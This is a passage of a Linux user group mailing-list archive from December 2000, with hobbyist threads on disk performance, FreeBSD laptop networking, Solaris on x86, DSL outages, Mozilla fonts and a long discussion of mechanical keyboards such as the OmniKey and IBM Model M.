_______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > --------------------------------------------------------------------- Timothy Houck thouck@thouck.com www.thouck.com From thouck at thouck.com Sat Dec 2 15:54:35 2000 From: thouck at thouck.com (Timothy Houck) Date: Mon Jan 17 13:12:57 2005 Subject: [TCLUG] Bad Performance Revisited In-Reply-To: Message-ID: Try replacing the IDE cable. Both the HD and IDE controller have error detection/correction over that cable (if I'm not mistaken). If it's getting errors, it may affect throughput. On Sat, 2 Dec 2000, Yaron wrote: > Hi, > > Well, I've narrowed it down to bad performance only occuring during HDD > activity. It's IDE, it's supposed to be ATA/66, but when you accesss the > drive intensly (untar, mkisofs) the load avarage goes WAY up and all other > apps are affected. Playing mpeg/avi files off the thing is near > impossible. > > The video capture works really badly as well... no idea what do to about > THAT one... > > > -Yaron > > -- > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > --------------------------------------------------------------------- Timothy Houck thouck@thouck.com www.thouck.com From jethro at freakzilla.com Sat Dec 2 16:42:15 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:12:57 2005 Subject: [TCLUG] Bad Performance Revisited In-Reply-To: Message-ID: Hi, On Sat, 2 Dec 2000, Timothy Houck wrote: > Try replacing the IDE cable. Both the HD and IDE controller have error > detection/correction over that cable (if I'm not mistaken). If it's > getting errors, it may affect throughput. I tried that. I'm also not seeing any errors anywhere... I give up; I'm taking this mboard/CPU back to Tran and getting a Thunderbird/AZ11 instead... -Yaron -- From cf352197 at oak.cats.ohiou.edu Sat Dec 2 17:39:38 2000 From: cf352197 at oak.cats.ohiou.edu (Charles Fulton) Date: Mon Jan 17 13:12:57 2005 Subject: [TCLUG] FreeBSD PCMCIA was: Solaris for Intel References: <20001202101801.A3580@socrates.sistina.com> Message-ID: <3A29883A.8418DBAC@oak.cats.ohiou.edu> Not exactly Linux but since you have FreeBSD on a laptop maybe you can help. I can't seem to get the PCMCIA to work properly. I enables the service and the kernel sees my NIC (3c589) but says the configuration failed. It's a 56k/10bT combo card by the way. Any suggestions on what to try or where I should go for documentation about this beast? Thanks, Charlie Ben Lutgens wrote: > On Sat, Dec 02, 2000 at 07:25:53AM -0600, Austad, Jay wrote: > >Solaris runs well on Sun hardware, but not x86. > > Agreed. I picked up a copy while at ALS and it's awful. Since installing > freebsd on my laptop, I never boot it into linux anymore. It's pretty fast and > quite stable. Though the apm support is kinda bad, my kernel panics when my > battery runs out. From trammell at nitz.hep.umn.edu Sat Dec 2 15:47:21 2000 From: trammell at nitz.hep.umn.edu (John J. Trammell) Date: Mon Jan 17 13:12:58 2005 Subject: [TCLUG] advice [OT] Message-ID: <200012022147.PAA21092@nitz.hep.umn.edu> Timothy Houck wrote: > Is Foo afraid to hire you because of Quux backlash (legal, etc.)? If not, > call them up and insist they hire you directly. If you don't have a > contract with Quux, they are just blowing smoke. Even if you do, it > probably doesn't include your circumstances of having an inside contact. That's pretty much how the scenario has unfolded. I don't have a contract with anyone at this point, which Foo and Quux both fail to grasp I guess. Word on the street is that Foo might just agree to pay Quux to shut them up. I'll try to show up at the next Beer Me(a|e)ting and share what I've learned. I've done my best to sever ties with Quux at this point, but what does that guarantee? They aren't exactly paragons of virtue. :-) I'll think about that addendum to the resume. I've interviewed people for positions, and if I had seen that on a resume, I think I would have asked about it, but it wouldn't have made me toss it. J From blutgens at sistina.com Sat Dec 2 23:42:50 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:12:58 2005 Subject: [TCLUG] advice [OT] In-Reply-To: <200012022147.PAA21092@nitz.hep.umn.edu>; from trammell@nitz.hep.umn.edu on Sat, Dec 02, 2000 at 03:47:21PM -0600 References: <200012022147.PAA21092@nitz.hep.umn.edu> Message-ID: <20001202234249.B8008@socrates.sistina.com> On Sat, Dec 02, 2000 at 03:47:21PM -0600, John J. Trammell wrote: >Timothy Houck wrote: > >Me(a|e)ting and share what I've learned. > I'll bring a cleaver. Man, I can see I'll not live that typo down for a while. -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001202/6c6a1da5/attachment.pgp From jethro at freakzilla.com Sun Dec 3 03:09:04 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:12:58 2005 Subject: [TCLUG] Bad Performance Revisited In-Reply-To: Message-ID: Hi, Well, to make a long story short, Tyan sucks. I got an ASUS instead and it works a LOT better. Lets you assign specific IRQs for each slot. Yey! -Yaron -- From jethro at freakzilla.com Sun Dec 3 03:16:00 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:12:58 2005 Subject: [TCLUG] [OT] My OmniKey died!!!!!!!!!! Message-ID: Hi all, This is a sad, sad story. It's apparently winter now, so I've been discharging static electricity at everything. Makes it REALfun to take apart MBoards/RAM/CPUs. Anyway, as I'm sure many of you know, OmniKeys are the best keyboards in the world. One of the good things about them is that they are heavy as hell. Unfortunetly, this is due to a highly conductive steel frame. So, I sit down, reach for the keyboard - and ZAP it to death. Yes! I _zapped_ an _OmniKey_ to death. This thing has been around (and in constant use!) since 1990. It has had tea, coke, water and various foodstuff dropped into it. It has fallen off desks. It has been used as a cat bed for several years. NOTHING could kill that keyboard, except apparently static discharges. Oh, it's not COMPLETELY dead. Some keys still work fine. Other, like the B key for example, do weird things like printing out "*ZXCVBNM<>?" (yeah, the whole row). Spacebar now toggles CAPSLOCK. Some keys send, in addition to themselves, an F1. I now have ONE working OmniKey, and four that kinda work. Anyone know somewhere that can fix them? Anyone know of a current keyboard that's even remotely as decent, save the Avant Stellar which costs WAY too much? Is eBay my only hope? Sadly typing on a REALLY quiet and mushy keyboard, -Yaron -- From andy at theasis.com Sun Dec 3 08:55:03 2000 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:12:58 2005 Subject: [TCLUG] [OT] My OmniKey died!!!!!!!!!! In-Reply-To: Message-ID: > This is a sad, sad story. Few things change your life as painfully as the demise of your favorit KB. > I now have ONE working OmniKey, and four that kinda work. Anyone know > somewhere that can fix them? Anyone know of a current keyboard that's even > remotely as decent, save the Avant Stellar which costs WAY too much? Is > eBay my only hope? Not sure what's so wrong about that -- Ebay has about a dozen of them, many of which are brand new. So do a google search and come up with a bunch of folks selling that KB. http://www.lueckdatasystems.com/hardware/omnikey/ Also sold at www.ergo-2000.com Pricey tho -- about $150. About a year ago I bought a compaq KB at a local computer show for $5. Stupidly, only got one of them. I made a trip back the next day to get the rest, but they were all gone. Unfortunately, I don't know the vintage, but it's mighty nice. Good luck, Andy > -Yaron From lerwick at tcfreenet.org Sun Dec 3 09:16:40 2000 From: lerwick at tcfreenet.org (Callum Lerwick) Date: Mon Jan 17 13:12:58 2005 Subject: [TCLUG] [OT] My OmniKey died!!!!!!!!!! References: Message-ID: <3A2A63D8.BED2EB32@tcfreenet.org> > I now have ONE working OmniKey, and four that kinda work. Anyone know > somewhere that can fix them? Anyone remotely handy with electronics could probably combine parts... > Anyone know of a current keyboard that's even > remotely as decent, save the Avant Stellar which costs WAY too much? Is > eBay my only hope? How about an IBM model M? Mine's 16 years old, which blows my mind... No other part of the machine is older than 2 years. Pretty easy to find. Tons of old PS/2 systems floating around. Any place that deals with obsolete buisness equipment will have a stack of 'em. ;) Need to snag a PS/2 to USB converter. I want to use this thing 'till the day I die... > Sadly typing on a REALLY quiet and mushy keyboard, Ewww. Mushy. From chrome at real-time.com Sun Dec 3 09:56:53 2000 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:12:58 2005 Subject: [TCLUG] [OT] My OmniKey died!!!!!!!!!! In-Reply-To: ; from jethro@freakzilla.com on Sun, Dec 03, 2000 at 03:16:00AM -0600 References: Message-ID: <20001203095653.A22868@real-time.com> > Anyway, as I'm sure many of you know, OmniKeys are the best keyboards in > the world. One of the good things about them is that they are heavy as > hell. > I now have ONE working OmniKey, and four that kinda work. Anyone know > somewhere that can fix them? Anyone know of a current keyboard that's even > remotely as decent, save the Avant Stellar which costs WAY too much? Is > eBay my only hope? I personally like the early-mid 80's IBM keyboards. I picked up a few at gov't auction a couple years ago. very clicky, very good feel. unfortuantely, they do die occasionally (one or two keys will stop working and/or get stuck down occasionally); and I'm down to my last two (one of which has served me for many years and millions of keystrokes and is looking awfully nasty). I just went and bought a Kinesis Ergo Essential (www.kinesis-ergo.com) from CSI Ergonomics in Mpls. (www.csiergonomics.com). it was anything but cheap; but doesn't strain the wrists like a regular keyboard does. the issues that I have with it; are that it seems to be laid out for word-processors, and not programmers/computer geeks. - the arrow keys are completely different. right hand has the up & down arrows; left hand has the left & right arrows. it's completely different from the 'inverted T' layout that your fingers have always been used to. - the key and the key are both under the right thumb, and right next to each other. this makes it very easy to hit when you meant , which has the possibility of bad consequences on a command line. - the key is a small rubber nub; which actually isn't too hard to hit, but I'd still rather have a real key there. makes using vi tad slower. the alternative method, -[, is much worse than on a regular keyboard. - the and keys are about the hardest ones to reach (probably since winblows-using secretaries usually aren't bright enough to use them); being located midway between the thumb & forefinger. - running it one-handed is much more difficult. all those chords you're used to hitting (-a, -e, -w, -, -), are nearly impossible one-handed now. so you can't use the keyboard in one hand, and the mouse in another. - - to swap between consoles, is a lot harder, since it's only the left alt key that works, and the span to is pretty long (even with reasonably large hands like mine), and requires dexterity to hit the little rubber f# keys. I've been using it for a couple of weeks now; and my fingers are starting to get used to it. I'm still slower than with the regular keyboard; but considering how bad a typist I am, that's not saying much. :) I may have to remap some keys; like swapping the and keys, eventually. ever get the impression that geeks have been largely ignored when designing keyboards, ever since the key and key got moved to where they are today? the Happy Hacking keyboard (www.pfuca.com) looks like a cool idea; but wrapping my head around the changes necessary to use it seems a bit much (it's a modal keyboard... so if vi is as natural to you as breathing, it may be the right thing for you); also, I would prefer to avoid a flat keyboard. the Cramer split keyboard seems like a cool idea (www.ergo-interfaces.com); but the construction is kind of flimsy, and the trackpad pointing device is really frustrating (especially since there's only two tiny little buttons). At Real-Time, we've got one of the chair-mounted versions, and it's generally been quickly abandoned by everyone who tries it. they're also ridiculously overpriced and not designed well (lack of any convenient way to replace the trackpad with a better pointer; inability to use a chair-mounted version as a desktop version... at least not without a hacksaw and grinder). the /. people were using them for a while; but I don't know if they still are. (make Bob an offer and he might part ways with it at a reasonable price). among my computer junkyard/museum here in my living room (described by one wit as 'the petting zoo'), I have a keyboard from an AT clone, which has the key in the proper place, and the relegated to where the right key normally is. it also has the keys arranged vertically along the left side, reminiscent of the Commodore. if anyone wants it, I may be willing to part ways with it, if it's going to a good home. :) Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From chrome at real-time.com Sun Dec 3 10:02:03 2000 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:12:58 2005 Subject: [TCLUG] [OT] My OmniKey died!!!!!!!!!! In-Reply-To: <3A2A63D8.BED2EB32@tcfreenet.org>; from lerwick@tcfreenet.org on Sun, Dec 03, 2000 at 09:16:40AM -0600 References: <3A2A63D8.BED2EB32@tcfreenet.org> Message-ID: <20001203100203.B22868@real-time.com> > How about an IBM model M? Mine's 16 years old, which blows my mind... just looked at the vintage on mine... 1986. :) the sister to it is an '87. the '86 one doesn't have any indicator blinkies (caps lock, scroll lock, numlock lights); but I've gotten by pretty well without them. anyone know how to clean the accumulated dust & grime off one of these things safely? mine is looking pretty nasty by now. :) Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From andy at theasis.com Sun Dec 3 10:24:25 2000 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:12:58 2005 Subject: [TCLUG] [OT] My OmniKey died!!!!!!!!!! In-Reply-To: <20001203100203.B22868@real-time.com> Message-ID: > anyone know how to clean the accumulated dust & grime off one of these > things safely? mine is looking pretty nasty by now. :) Do the keys pop off? Should be able to take the keys off. Turn upside down and shake all the big chinks off. Then use Q-Tip and alcohol to get between the spaces. Can clean the keys themselves with alcohol. Andy > > Carl Soderstrom > From ben at nerp.net Sun Dec 3 10:45:20 2000 From: ben at nerp.net (Ben Kochie) Date: Mon Jan 17 13:12:58 2005 Subject: [TCLUG] [OT] My OmniKey died!!!!!!!!!! In-Reply-To: Message-ID: crap.. I was just about to throw out a bunch of old broken omnikey parts.. you can have them if you want them I also think i found my omnikey wiring schematic.. Thank You, Ben Kochie (ben@nerp.net) *-----------------------* [ - * - * - * - * - * - * - * - ] | Unix/Linux Consulting | [ Haiku Error Message: ] | PC/Mac Repair | [ Chaos reigns within. ] | Networking | [ Reflect, repent, and reboot. ] | http://nerp.net | [ Order shall return. ] *-----------------------* [ - * - * - * - * - * - * - * - ] "Unix is user friendly, Its just picky about its friends." On Sun, 3 Dec 2000, Yaron wrote: > Hi all, > > This is a sad, sad story. > > It's apparently winter now, so I've been discharging static electricity at > everything. Makes it REALfun to take apart MBoards/RAM/CPUs. > > Anyway, as I'm sure many of you know, OmniKeys are the best keyboards in > the world. One of the good things about them is that they are heavy as > hell. > > Unfortunetly, this is due to a highly conductive steel frame. > > So, I sit down, reach for the keyboard - and ZAP it to death. > > Yes! I _zapped_ an _OmniKey_ to death. This thing has been around (and in > constant use!) since 1990. It has had tea, coke, water and various > foodstuff dropped into it. It has fallen off desks. It has been used as a > cat bed for several years. NOTHING could kill that keyboard, except > apparently static discharges. > > Oh, it's not COMPLETELY dead. Some keys still work fine. Other, like the B > key for example, do weird things like printing out "*ZXCVBNM<>?" (yeah, > the whole row). Spacebar now toggles CAPSLOCK. Some keys send, in addition > to themselves, an F1. > > I now have ONE working OmniKey, and four that kinda work. Anyone know > somewhere that can fix them? Anyone know of a current keyboard that's even > remotely as decent, save the Avant Stellar which costs WAY too much? Is > eBay my only hope? > > Sadly typing on a REALLY quiet and mushy keyboard, > > -Yaron > > -- > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From natecars at real-time.com Sun Dec 3 11:00:20 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:12:58 2005 Subject: [TCLUG] Difference between ISP and Telco (Slightly offtopic) In-Reply-To: Message-ID: On Sat, 2 Dec 2000, Liz Burke-Scovill wrote: > What type of DSL service did they have? Could they have had IDSL? How did > they lose their DSL in the first place? Qwestionable 256k ADSL. When Qwest did a firmware upgrade to their DSLAM, their DSL went away. Funny thing is, the firmware upgrade was supposed to lengthen the distance that things would work. :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From mauvehead at nerp.net Sun Dec 3 11:14:30 2000 From: mauvehead at nerp.net (Nate Sanders) Date: Mon Jan 17 13:12:58 2005 Subject: [TCLUG] Solaris for Intel References: Message-ID: <3A2A7F76.9ABA227A@nerp.net> All we run at my work is Solaris. Belive me you do not want it on a x86 machine. I installed it on a p200, which wasn't difficult to do, but it runs like crap. Solaris is ok for Sparc, but I'd much rather run Debian or Slackware. If you have FBSD allready installed, your insane if you swap it for Solaris :-] > > -----Original Message----- > > From: Apu [mailto:isla0005@tc.umn.edu] > > Sent: Saturday, December 02, 2000 4:48 AM > > To: tclug-list@lists.real-time.com > > Subject: [TCLUG] Solaris for Intel > > > > > > Solaris was available from Sun for intel machines couple > > months ago. Sun claims > > it's based on the same source code and very stable, also it's > > free for students > > and developers. I am wondering if any of you have used it or > > would it be wise > > to switch to solaris from my existing freeBSD 4.2 ? > > > > Apu > > -- Nate Sanders darkskull@IRC (newnet) mauvehead@nerp.net http://www.damnation.net ______________________________________________________________________ who | grep -i blonde | date; cd ~; unzip; touch; strip; finger; mount; gasp; yes; uptime; umount; sleep - Unix Is Sexy. From keho at cpinternet.com Sun Dec 3 12:23:55 2000 From: keho at cpinternet.com (John Keho) Date: Mon Jan 17 13:12:58 2005 Subject: [TCLUG] Remove from maillist Message-ID: <005901c05d56$33004440$41a2fbd8@oemcomputer> Remove keho@computerpro.com from all mail-lists, thank-you -------------- next part -------------- An HTML attachment was scrubbed... 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The temp & voltage readings would swing wildly, setting off alarms every few minutes. Tyan's support was totally unresponsive to my questions, and eventually I just had to 'make do'. Tyan did eventually address the issue with the cpu temp hardware - in the final version of the S1590s BIOS the monitoring functions disappeared alltogether. Nice approach, guys. Tyan also failed to mention this 'fix' in the update info that came with the new BIOS. What a cop out. Is that what I paid for? In my frustration, I posted to harware.mainboard.tyan a message titled 'Tyan tech support is a sad joke'. Which drew some agreement, and a very testy response from a person claiming to be from Tyan, and admonishing me for taking such an approach... I wonder if it is company policy to flame disgruntled users. Anyway, I decided then that I woudn't buy another over rated Tyan product if my life depended on it. Yesterday, I placed an order for an Abit KT-7 RAID & Duron 700cpu. We'll see how this foray into the supposed 'high end' treats me. Bill From blayer at uswest.net Sun Dec 3 12:33:45 2000 From: blayer at uswest.net (Bill Layer) Date: Mon Jan 17 13:12:58 2005 Subject: [TCLUG] MaxPC & Intel In-Reply-To: <200012011638.KAA20074@nitz.hep.umn.edu> References: <200012011638.KAA20074@nitz.hep.umn.edu> Message-ID: <00120312334501.00597@homer> Ok, I know that MaximumPC magazine is a piece of crap, but has anyone ever noticed that they seem to be in Intel's pockets? Read the Duron vs. CeleronII review a couple of months back... I did, and I almost couldn't believe what I read. The Duron beat the same-speed Celly in all but one test - some tests it was miles ahead. The also mention that the Duron is about 33% cheaper than the Intel product. Now on to the conclusion, which still baffles me: To sum up, they basically said "The Duron is fast, but you might want to consider buying the Celeron instead, as it has a better overclocking potential". Did anyone else read this review and get the same impression as I? Bill From drew at usfamily.net Sun Dec 3 12:46:25 2000 From: drew at usfamily.net (Andrew Nemchenko) Date: Mon Jan 17 13:12:59 2005 Subject: [TCLUG] [OT] My OmniKey died!!!!!!!!!! References: Message-ID: <004701c05d59$57823f00$158be23f@gateway> What is so special about these Omnikey keyboards and why are they so expencive NEW?? ____________________________________________________ If what I say offends you then it was probably meant to do so Andrew Nemchenko drew@usfamily.net Home: 651-681-8572 Work: 952-932-4081 Pager: 612-264-1737 http://www.kuzmich.cjb.net ----- Original Message ----- From: Ben Kochie To: TCLUG Sent: Sunday, December 03, 2000 10:45 AM Subject: Re: [TCLUG] [OT] My OmniKey died!!!!!!!!!! > crap.. I was just about to throw out a bunch of old broken omnikey parts.. > you can have them if you want them I also think i found my omnikey wiring > schematic.. > > Thank You, > Ben Kochie (ben@nerp.net) > > *-----------------------* [ - * - * - * - * - * - * - * - ] > | Unix/Linux Consulting | [ Haiku Error Message: ] > | PC/Mac Repair | [ Chaos reigns within. ] > | Networking | [ Reflect, repent, and reboot. ] > | http://nerp.net | [ Order shall return. ] > *-----------------------* [ - * - * - * - * - * - * - * - ] > > "Unix is user friendly, Its just picky about its friends." > > On Sun, 3 Dec 2000, Yaron wrote: > > > Hi all, > > > > This is a sad, sad story. > > > > It's apparently winter now, so I've been discharging static electricity at > > everything. Makes it REALfun to take apart MBoards/RAM/CPUs. > > > > Anyway, as I'm sure many of you know, OmniKeys are the best keyboards in > > the world. One of the good things about them is that they are heavy as > > hell. > > > > Unfortunetly, this is due to a highly conductive steel frame. > > > > So, I sit down, reach for the keyboard - and ZAP it to death. > > > > Yes! I _zapped_ an _OmniKey_ to death. This thing has been around (and in > > constant use!) since 1990. It has had tea, coke, water and various > > foodstuff dropped into it. It has fallen off desks. It has been used as a > > cat bed for several years. NOTHING could kill that keyboard, except > > apparently static discharges. > > > > Oh, it's not COMPLETELY dead. Some keys still work fine. Other, like the B > > key for example, do weird things like printing out "*ZXCVBNM<>?" (yeah, > > the whole row). Spacebar now toggles CAPSLOCK. Some keys send, in addition > > to themselves, an F1. > > > > I now have ONE working OmniKey, and four that kinda work. Anyone know > > somewhere that can fix them? Anyone know of a current keyboard that's even > > remotely as decent, save the Avant Stellar which costs WAY too much? Is > > eBay my only hope? > > > > Sadly typing on a REALLY quiet and mushy keyboard, > > > > -Yaron > > > > -- > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list ------ http://USFamily.Net/info - Unlimited Internet - From $7.99/mo! ------ From ben at nerp.net Sun Dec 3 13:01:49 2000 From: ben at nerp.net (Ben Kochie) Date: Mon Jan 17 13:12:59 2005 Subject: [TCLUG] [OT] My OmniKey died!!!!!!!!!! In-Reply-To: <004701c05d59$57823f00$158be23f@gateway> Message-ID: well. they are very sturdy, my omnikey has lasted me for 4 years, and was used by someone else before that.. the last real omnikey was made in 94 or so, avant still makes them, but arnt' sold by any computer mmanufacturer anymore.. I found something close to as cool as an omnikey, but I have yet to find a vendor that actualyt sells them.. (it's a nice heavy duty mitsumi) other than that.. they are just nice tactile keyboards.. most keyboards are made with a membrane of rubber, the omnikey is individual key switches, which is much harder to make.. component-wise Thank You, Ben Kochie (ben@nerp.net) *-----------------------* [ - * - * - * - * - * - * - * - ] | Unix/Linux Consulting | [ Haiku Error Message: ] | PC/Mac Repair | [ Chaos reigns within. ] | Networking | [ Reflect, repent, and reboot. ] | http://nerp.net | [ Order shall return. ] *-----------------------* [ - * - * - * - * - * - * - * - ] "Unix is user friendly, Its just picky about its friends." On Sun, 3 Dec 2000, Andrew Nemchenko wrote: > What is so special about these Omnikey keyboards and why are they so > expencive NEW?? > ____________________________________________________ > If what I say offends you then it was probably meant to do so > > > Andrew Nemchenko > drew@usfamily.net > Home: 651-681-8572 > Work: 952-932-4081 > Pager: 612-264-1737 > http://www.kuzmich.cjb.net > > ----- Original Message ----- > From: Ben Kochie > To: TCLUG > Sent: Sunday, December 03, 2000 10:45 AM > Subject: Re: [TCLUG] [OT] My OmniKey died!!!!!!!!!! > > > > crap.. I was just about to throw out a bunch of old broken omnikey parts.. > > you can have them if you want them I also think i found my omnikey wiring > > schematic.. > > > > Thank You, > > Ben Kochie (ben@nerp.net) > > > > *-----------------------* [ - * - * - * - * - * - * - * - ] > > | Unix/Linux Consulting | [ Haiku Error Message: ] > > | PC/Mac Repair | [ Chaos reigns within. ] > > | Networking | [ Reflect, repent, and reboot. ] > > | http://nerp.net | [ Order shall return. ] > > *-----------------------* [ - * - * - * - * - * - * - * - ] > > > > "Unix is user friendly, Its just picky about its friends." > > > > On Sun, 3 Dec 2000, Yaron wrote: > > > > > Hi all, > > > > > > This is a sad, sad story. > > > > > > It's apparently winter now, so I've been discharging static electricity > at > > > everything. Makes it REALfun to take apart MBoards/RAM/CPUs. > > > > > > Anyway, as I'm sure many of you know, OmniKeys are the best keyboards in > > > the world. One of the good things about them is that they are heavy as > > > hell. > > > > > > Unfortunetly, this is due to a highly conductive steel frame. > > > > > > So, I sit down, reach for the keyboard - and ZAP it to death. > > > > > > Yes! I _zapped_ an _OmniKey_ to death. This thing has been around (and > in > > > constant use!) since 1990. It has had tea, coke, water and various > > > foodstuff dropped into it. It has fallen off desks. It has been used as > a > > > cat bed for several years. NOTHING could kill that keyboard, except > > > apparently static discharges. > > > > > > Oh, it's not COMPLETELY dead. Some keys still work fine. Other, like the > B > > > key for example, do weird things like printing out "*ZXCVBNM<>?" (yeah, > > > the whole row). Spacebar now toggles CAPSLOCK. Some keys send, in > addition > > > to themselves, an F1. > > > > > > I now have ONE working OmniKey, and four that kinda work. Anyone know > > > somewhere that can fix them? Anyone know of a current keyboard that's > even > > > remotely as decent, save the Avant Stellar which costs WAY too much? Is > > > eBay my only hope? > > > > > > Sadly typing on a REALLY quiet and mushy keyboard, > > > > > > -Yaron > > > > > > -- > > > > > > _______________________________________________ > > > tclug-list mailing list > > > tclug-list@lists.real-time.com > > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > ------ http://USFamily.Net/info - Unlimited Internet - From $7.99/mo! ------ > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From jethro at freakzilla.com Sun Dec 3 13:13:28 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:12:59 2005 Subject: [TCLUG] [OT] My OmniKey died!!!!!!!!!! In-Reply-To: <004701c05d59$57823f00$158be23f@gateway> Message-ID: Hi, On Sun, 3 Dec 2000, Andrew Nemchenko wrote: > What is so special about these Omnikey keyboards and why are they so > expencive NEW?? It's hard to explpain. You have to USE one to experience it! But I'll try (: First of all, the company that made them (Northgate) no longet exists. They're so expensive 'new' because they are no longer being made. Actually, a company in Hamil MN (apparently 30 mins from mpls) bought the blueprints and makes something called the "Avant Stellar" (http://www.cvtinc.com/kybdfeatures.htm), which is supposedly the samething, but with Windoze keys. And for $170. For the CHEAP ones. Ok, this keyboard is HEAVY - it's made of steel. It is EXTREMELY resilient. The keys CLICK most satisfyingly. Also, most models are VERY programmable. You can interchange the locations of the Ctrl and CAPSlock, among others. Or Dvorak it. The key caps are all removable. Oh, you can get them with the F-Keys on the side, where they belong. Maybe CMT would do a group discount for the TCLUG? I'll give 'ema call on Monday (: -Yaron -- From jethro at freakzilla.com Sun Dec 3 15:44:58 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:12:59 2005 Subject: [TCLUG] [OT] My OmniKey died!!!!!!!!!! In-Reply-To: Message-ID: Hi, On Sun, 3 Dec 2000, Ben Kochie wrote: > crap.. I was just about to throw out a bunch of old broken omnikey parts.. > you can have them if you want them I also think i found my omnikey wiring > schematic.. Yeah, gimmie. I can, uh, give you a broken monitor in return? -Yaron -- From dieman at ringworld.org Sun Dec 3 16:04:56 2000 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:12:59 2005 Subject: [TCLUG] [OT] My OmniKey died!!!!!!!!!! In-Reply-To: ; from jethro@freakzilla.com on Sun, Dec 03, 2000 at 01:13:28PM -0600 References: <004701c05d59$57823f00$158be23f@gateway> Message-ID: <20001203160456.F15922@ringworld.org> * Yaron [001203 13:15]: > Ok, this keyboard is HEAVY - it's made of steel. It is EXTREMELY > resilient. The keys CLICK most satisfyingly. The problem is, I get *headackes* from the clicking of the keys after about an hour. :| -- Scott Dier #nicnac@efnet http://www.ringworld.org/ finger:dieman@destiny.ringworld.org "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! Kupooo." -Moguta (FFIX) -------------- next part -------------- A non-text attachment was scrubbed... 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References: <004701c05d59$57823f00$158be23f@gateway> <20001203160456.F15922@ringworld.org> Message-ID: <3A2ACD3A.7150FD63@ringworld.org> > The problem is, I get *headackes* from the clicking of the keys after > about an hour. :| You shure the headache isn't from playing FF9 until 7am? -- | Andrew S. Zbikowski | Home: 763.591.0977 | | http://www.ringworld.org | Work: 763.428.9119 | | http://www.itouthouse.com | PCS: 612.306.6055 | | "If there's anything more important than my | | ego around, I want it caught and shot now." | From tanner at real-time.com Sun Dec 3 17:08:21 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:12:59 2005 Subject: [TCLUG] Fonts, Mozilla and eye strain Message-ID: <20001203170821.G26658@real-time.com> Anyone care to sure their font selections for mozilla with me? I have been playing around with the nightly builds of mozilla and the fonts on many pages just suck. For instance, the poll on the tclug's main page, I can barely read the options, the font is so jagged. I have played around with the font selections to no avail. Anyone have a set of fonts that looks good? -- Bob Tanner | Phone : (612)943-8700 http://www.mn-linux.org | Fax : (612)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From chrome at real-time.com Sun Dec 3 17:17:45 2000 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:12:59 2005 Subject: [TCLUG] Difference between ISP and Telco (Slightly offtopic) In-Reply-To: ; from natecars@real-time.com on Sun, Dec 03, 2000 at 11:00:20AM -0600 References: Message-ID: <20001203171745.A29584@real-time.com> > Qwestionable 256k ADSL. When Qwest did a firmware upgrade to their DSLAM, > their DSL went away. Funny thing is, the firmware upgrade was supposed to > lengthen the distance that things would work. :) What I heard was that the actual copper pair was dead, and there weren't any others that were short enough. so maybe something during the upgrade jarred a wire loose or something . Carl Soderstrom. -- Network Engineer Real-Time Enterprises (952) 943-8700 From dgorentz at unitelc.com Sun Dec 3 17:19:19 2000 From: dgorentz at unitelc.com (dgorentz@unitelc.com) Date: Mon Jan 17 13:12:59 2005 Subject: [TCLUG] Fonts, Mozilla and eye strain References: <20001203170821.G26658@real-time.com> Message-ID: <3A2AD4F7.B660BB7@unitelc.com> You might want to try: http://fox.mit.edu/skunk/xwin/ Bob Tanner wrote: > > Anyone care to sure their font selections for mozilla with me? > > I have been playing around with the nightly builds of mozilla and the fonts on > many pages just suck. > > For instance, the poll on the tclug's main page, I can barely read the options, > the font is so jagged. > > I have played around with the font selections to no avail. > > Anyone have a set of fonts that looks good? > > -- > Bob Tanner | Phone : (612)943-8700 > http://www.mn-linux.org | Fax : (612)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From chrome at real-time.com Sun Dec 3 17:20:00 2000 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:12:59 2005 Subject: [TCLUG] [OT] My OmniKey died!!!!!!!!!! In-Reply-To: ; from andy@theasis.com on 